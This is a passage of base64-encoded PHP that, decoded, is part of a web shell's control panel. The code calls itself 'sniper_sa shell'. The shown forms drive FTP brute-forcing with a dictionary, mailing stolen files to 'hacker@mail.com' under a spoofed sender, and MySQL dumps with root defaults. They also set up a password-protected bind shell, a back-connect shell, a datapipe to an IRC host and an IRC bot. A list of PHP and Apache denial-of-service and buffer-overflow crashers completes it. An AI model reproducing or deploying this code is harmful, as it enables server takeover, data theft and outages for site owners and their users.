aWxlX3VwJykpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJy b3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU+PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+ PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRp cikpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4n X2J1dHQyJ10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9 MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1j ZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk0J10uIjwvZGl2PjwvYj48L2ZvbnQ+ IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+ IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJf cG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpLmluKCdo aWRkZW4nLCdjbWQnLDAsJ2Z0cF9icnV0ZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNo byBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ3Bhc3N3ZCcsMSkuIjxmb250IGZh Y2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk5J10uIiAoIDxhIGhyZWY9 JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2Vycyc+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUn XS4iPC9hPiApPC9mb250PiIpOw0KZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlk PXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7DQplY2hvIHNyKDI1 LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwnZGljJywwKS4kbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0MTI5J10pOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJy b3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJywwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4n XSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigicm9vdCIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFu Z1skbGFuZ3VhZ2UuJ190ZXh0MTI5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnkn LDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRp ci4ncGFzc3cuZGljJykpKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxh bmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+ PC90YWJsZT4iOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygibWFpbCIpKXsNCmVjaG8gJHRhYmxlX3Vw MS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMiddLCdpZDE5JykuJHRhYmxlX3VwMi5k aXYoJ2lkMTknKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0K ZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+ Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3Io MjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQn LCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwu Y29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGly KSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwv Yj4iLGluKCd0ZXh0JywnZnJvbScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJv bSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxh bmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJyw0NSwoIWVtcHR5 KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiaGVsbG8gYmlsbHkiKSkpKTsNCmVjaG8g c3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0 YXJlYSBuYW1lPXRleHQgY29scz0zMyByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9Q T1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1 LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVj aG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNo byAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4k bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUs IjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0 bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29t IikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRk aXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4i PC9iPiIsaW4oJ3RleHQnLCdmcm9tJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydm cm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDQ1LCghZW1w dHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJmaWxlIGZyb20gc25pcGVyX3NhIHNo ZWxsIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJv dy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4k bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNz JywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQn LDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3Ry PjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCRteXNxbF9vbnx8JG1zc3FsX29ufHwkcGdfb258fCRvcmFf b24pDQp7DQokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOw0KaWYoJG15c3FsX29uKSAkc2VsZWN0 IC49ICc8b3B0aW9uPk15U1FMPC9vcHRpb24+JzsNCmlmKCRtc3NxbF9vbikgJHNlbGVjdCAuPSAnPG9w

dGlvbj5NU1NRTDwvb3B0aW9uPic7DQppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24+UG9z dGdyZVNRTDwvb3B0aW9uPic7DQppZigkb3JhX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24+T3JhY2xl PC9vcHRpb24+JzsNCiRzZWxlY3QgLj0gJzwvc2VsZWN0Pic7DQplY2hvICR0YWJsZV91cDEuZGl2X3Rp dGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDIwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjAn KS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZv bnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4k bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOw0KZWNobyBzcigz NSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcs J2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2 ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCgh ZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQpl Y2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSwoIWVtcHR5 KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9i PiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9T VFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUsKCFlbXB0 eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+ LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3RibCdd KT8oJF9QT1NUWydteXNxbF90YmwnXSk6KCJ1c2VyIikpKSk7DQplY2hvIHNyKDM1LGluKCdoaWRkZW4n LCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbXlzcWxfZHVtcCcpLiI8Yj4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQ0MSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnZGlmIGlkPWRp ZicsMCwnMScpLmluKCd0ZXh0JywnZGlmX25hbWUnLDMxLCghZW1wdHkoJF9QT1NUWydkaWZfbmFtZSdd KT8oJF9QT1NUWydkaWZfbmFtZSddKTooImR1bXAuc3FsIikpKSk7DQplY2hvIHNyKDM1LCIiLGluKCdz dWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDknXSkpOw0KZWNobyAkdGUuIjwv dGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBm YWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7DQplY2hvIHNyKDM1LCI8 Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJf c2VydmVyJywxNSwoIWVtcHR5KCRfUE9TVFsnZGJfc2VydmVyJ10pPygkX1BPU1RbJ2RiX3NlcnZlcidd KTooImxvY2FsaG9zdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnZGJfcG9ydCcsMTUsKCFlbXB0 eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8g c3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxhbmd1YWdl LidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDE1LCghZW1wdHkoJF9Q T1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcu aW4oJ3RleHQnLCdteXNxbF9wJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydt eXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdl LidfdGV4dDM5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2RiJywxNSwoIWVtcHR5KCRf UE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkpOw0KZWNobyBz cigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODQnXS4kYXJyb3cuIjwvYj4iLmluKCdoaWRk ZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKSwiIik7DQplY2hv ICR0ZS4iPGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjx0ZXh0YXJlYSBjb2xzPTU1IHJvd3M9MSBuYW1l PWRiX3F1ZXJ5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10p OigiU0hPVyBEQVRBQkFTRVM7IikpLiI8L3RleHRhcmVhPjxicj4iLmluKCdzdWJtaXQnLCdzdWJtaXQn LDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkuIjwvZGl2PjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+ PC90YWJsZT4iOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZf dGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQy MScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8 Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQ5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIu JGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1 LCc5OTk5JykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEnXS4kYXJy b3cuIjwvYj4iLGluKCd0ZXh0JywnYmluZF9wYXNzJywxNSwnU25JcEVyJykpOw0KZWNobyBzcig0MCwi PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9 XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRp b24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGly KSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidf YnV0dDMnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0z

MyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2Vu dGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7 DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMyddLiRhcnJvdy4iPC9iPiIs aW4oJ3RleHQnLCdpcCcsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RF X0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKSkpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3Vh Z2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTUsJzgwJykpOw0KZWNo byBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2Vs ZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0 aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2Rp cicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxh bmd1YWdlLidfYnV0dDQnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRv cCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYg YWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMiddLiI8L2Rpdj48L2I+ PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJv dy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxNSwnODAnKSk7DQplY2hvIHNyKDQwLCI8Yj4i LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVf aG9zdCcsMTUsJ2lyYy5kYWxuZXQucnUnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFn ZS4nX3RleHQyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfcG9ydCcsMTUsJzY2Njcn KSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9i PiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5k YXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwv c2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJt aXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDUnXSkpOw0KZWNobyAkdGUuIjwvdGQ+ Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KDQppZigkdW5peCl7DQplY2hvICR0YWJsZV91 cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDIxJykuJHRhYmxlX3VwMi5k aXYoJ2lkMjEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0K ZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+ Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0 MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcs J2lyY2FkbWluJywxNSwnaXJjYWRtaW4nKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFn ZS4nX3RleHQyMTUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXJjc2VydmVyJywxNSwnaXJjc2Vy dmVyJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE2J10uJGFycm93 LiI8L2I+IixpbigndGV4dCcsJ2lyY2NoYW5hbCcsMTUsJ2lyY2NoYW5sJykpOw0KZWNobyBzcig0MCwi PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2ly Y25hbWUnLDE1LCdpcmNuYW1lJykpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0Jyww LCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRk IHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0t Mj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4i PC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0 MTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXBzJywxNSwoKGdldGVudignUkVNT1RFX0FERFIn KSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQw LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdw b3J0cycsMTUsJzgwJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAn XS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFs dWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGly KSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidf YnV0dDQnXSkpOw0KDQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9 DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzAnXSwnaWQx MDEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAxMCcpLiR0cy4iPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRo PTI1JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBjb2xvcj1yZWQgc2l6ZT0tMj48Yj48 ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10uIjwvZGl2 PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEn KS5pbignc3VibWl0Jywnc3VibWl0JywwLCdSZWN1cnNpdmUgbWVtb3J5IGV4aGF1c3Rpb24nKS4kZmUp Ow0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMicpLmluKCdzdWJtaXQn LCdzdWJtaXQnLDAsJ01lbW9yeV9saW1pdCBbcGFjaygpXScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRm cy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFt1 bnNlcmlhbGl6ZSgpXScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJyww LCdkb3M0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFplbmRFbmdpbmUnKS4kZmUpOw0KZWNo byBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNScpLmluKCdzdWJtaXQnLCdzdWJt aXQnLDAsJ1NRbGl0ZSBbZGwoKV0gdnVsbicpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlk

ZGVuJywnY21kJywwLCdkb3M2JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnUENSRSBbcHJlZ19tYXRj aCgpXShQSFA8NS4yLjEpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQn LDAsJ2RvczcnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdNZW1fbGltaXQgW3N0cl9yZXBlYXQoKV0o UEhQPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdk b3M4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXBhY2hlIHByb2Nlc3Mga2lsbGVyJykuJGZlKTsN CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczknKS5pbignc3VibWl0Jywn c3VibWl0JywwLCdPdmVybG9hZCBbdGVtcG5hbSgpXShQSFA8NS4xLjIpJykuJGZlKTsNCmVjaG8gc3Io MTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEwJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcs MCwnQm9GIFt3b3Jkd3JhcCgpXShQSFA8NS4xLjIpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmlu KCdoaWRkZW4nLCdjbWQnLDAsJ2RvczExJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFthcnJh eV9maWxsKCldKFBIUDw1LjEuMiknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbics J2NtZCcsMCwnZG9zMTInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3N1YnN0cl9jb21wYXJl KCldKFBIUDw1LjEuMiknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9 